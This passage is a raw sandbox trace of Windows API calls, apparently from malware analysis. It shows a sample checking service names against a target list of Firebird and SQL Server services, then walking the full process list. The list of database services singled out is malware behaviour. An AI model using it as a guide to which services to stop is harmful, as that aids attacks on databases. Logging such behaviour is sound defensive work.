(lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0104.564] lstrlenW (lpString="sppsvc") returned 6 [0104.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0104.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0104.565] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0104.565] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0104.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0104.565] lstrlenW (lpString="SSDPSRV") returned 7 [0104.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0104.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0104.565] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0104.565] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0104.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0104.565] lstrlenW (lpString="StateRepository") returned 15 [0104.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0104.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0104.565] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0104.565] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0104.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0104.565] lstrlenW (lpString="SysMain") returned 7 [0104.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0104.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0104.565] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0104.565] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0104.565] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x36890e8 | out: hHeap=0x440000) returned 1 [0104.565] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x36c [0104.816] Process32FirstW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0104.816] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0104.843] lstrlenW (lpString="System") returned 6 [0104.843] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0104.844] lstrlenW (lpString="smss.exe") returned 8 [0104.845] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0104.845] lstrlenW (lpString="csrss.exe") returned 9 [0104.845] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0104.846] lstrlenW (lpString="wininit.exe") returned 11 [0104.846] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0104.861] lstrlenW (lpString="csrss.exe") returned 9 [0104.862] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0104.862] lstrlenW (lpString="winlogon.exe") returned 12 [0104.862] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0104.863] lstrlenW (lpString="services.exe") returned 12 [0104.863] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0104.864] lstrlenW (lpString="lsass.exe") returned 9 [0104.864] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.864] lstrlenW (lpString="svchost.exe") returned 11 [0104.864] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0104.865] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0104.865] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0104.866] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0104.866] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.867] lstrlenW (lpString="svchost.exe") returned 11 [0104.867] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0104.867] lstrlenW (lpString="dwm.exe") returned 7 [0104.867] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x56, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.868] lstrlenW (lpString="svchost.exe") returned 11 [0104.868] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.869] lstrlenW (lpString="svchost.exe") returned 11 [0104.869] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.869] lstrlenW (lpString="svchost.exe") returned 11 [0104.869] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.870] lstrlenW (lpString="svchost.exe") returned 11 [0104.870] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.871] lstrlenW (lpString="svchost.exe") returned 11 [0104.871] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.872] lstrlenW (lpString="svchost.exe") returned 11 [0104.872] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.872] lstrlenW (lpString="svchost.exe") returned 11 [0104.872] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.873] lstrlenW (lpString="svchost.exe") returned 11 [0104.873] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.874] lstrlenW (lpString="svchost.exe") returned 11 [0104.874] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0104.874] lstrlenW (lpString="spoolsv.exe") returned 11 [0104.875] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.875] lstrlenW (lpString="svchost.exe") returned 11 [0104.875] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.876] lstrlenW (lpString="svchost.exe") returned 11 [0104.876] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0104.877] lstrlenW (lpString="audiodg.exe") returned 11 [0104.877] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0104.877] lstrlenW (lpString="sihost.exe") returned 10 [0104.877] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.878] lstrlenW (lpString="svchost.exe") returned 11 [0104.878] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0104.879] lstrlenW (lpString="taskhostw.exe") returned 13 [0104.879] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0104.879] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0104.879] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0104.881] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0104.881] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0104.882] lstrlenW (lpString="explorer.exe") returned 12 [0104.882] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0104.883] lstrlenW (lpString="Memory Compression") returned 18 [0104.883] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0104.884] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0104.884] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0104.884] lstrlenW (lpString="SearchUI.exe") returned 12 [0104.884] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0104.885] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0104.885] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0104.886] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0104.886] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0104.886] lstrlenW (lpString="taskhostw.exe") returned 13 [0104.887] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0104.887] lstrlenW (lpString="UsoClient.exe") returned 13 [0104.887] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0104.888] lstrlenW (lpString="msoia.exe") returned 9 [0104.888] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0104.888] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0104.888] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0104.889] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0104.889] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0104.889] lstrlenW (lpString="msoia.exe") returned 9 [0104.889] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0104.890] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0104.890] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0104.890] lstrlenW (lpString="entering.exe") returned 12 [0104.890] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurement nut d.exe")) returned 1 [0104.891] lstrlenW (lpString="measurement nut d.exe") returned 21 [0104.891] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="ai element.exe")) returned 1 [0104.892] lstrlenW (lpString="ai element.exe") returned 14 [0104.892] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="divorce_mode_twelve.exe")) returned 1 [0104.892] lstrlenW (lpString="divorce_mode_twelve.exe") returned 23 [0104.892] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="clicking.exe")) returned 1 [0104.893] lstrlenW (lpString="clicking.exe") returned 12 [0104.893] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pack.exe")) returned 1 [0104.893] lstrlenW (lpString="pack.exe") returned 8 [0104.893] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="try-gtk.exe")) returned 1 [0104.894] lstrlenW (lpString="try-gtk.exe") returned 11 [0104.894] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counseling tmp.exe")) returned 1 [0104.894] lstrlenW (lpString="counseling tmp.exe") returned 18 [0104.894] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius_johnston_transmission.exe")) returned 1 [0104.895] lstrlenW (lpString="radius_johnston_transmission.exe") returned 32 [0104.895] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="j-portions-folders.exe")) returned 1 [0105.260] lstrlenW (lpString="j-portions-folders.exe") returned 22 [0105.260] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="samuel-clubs.exe")) returned 1 [0105.260] lstrlenW (lpString="samuel-clubs.exe") returned 16 [0105.260] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gaps_industrial.exe")) returned 1 [0105.261] lstrlenW (lpString="gaps_industrial.exe") returned 19 [0105.261] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jerry pure.exe")) returned 1 [0105.261] lstrlenW (lpString="jerry pure.exe") returned 14 [0105.261] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powerseller.exe")) returned 1 [0105.262] lstrlenW (lpString="powerseller.exe") returned 15 [0105.262] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="non firewall.exe")) returned 1 [0105.263] lstrlenW (lpString="non firewall.exe") returned 16 [0105.263] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coal-cottage-vt.exe")) returned 1 [0105.264] lstrlenW (lpString="coal-cottage-vt.exe") returned 19 [0105.264] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="revealsprimarilywalk.exe")) returned 1 [0105.264] lstrlenW (lpString="revealsprimarilywalk.exe") returned 24 [0105.264] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="summer_knitting_map.exe")) returned 1 [0105.265] lstrlenW (lpString="summer_knitting_map.exe") returned 23 [0105.265] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="latina_rv_anything.exe")) returned 1 [0105.266] lstrlenW (lpString="latina_rv_anything.exe") returned 22 [0105.266] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephonyassumption.exe")) returned 1 [0105.266] lstrlenW (lpString="telephonyassumption.exe") returned 23 [0105.266] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, 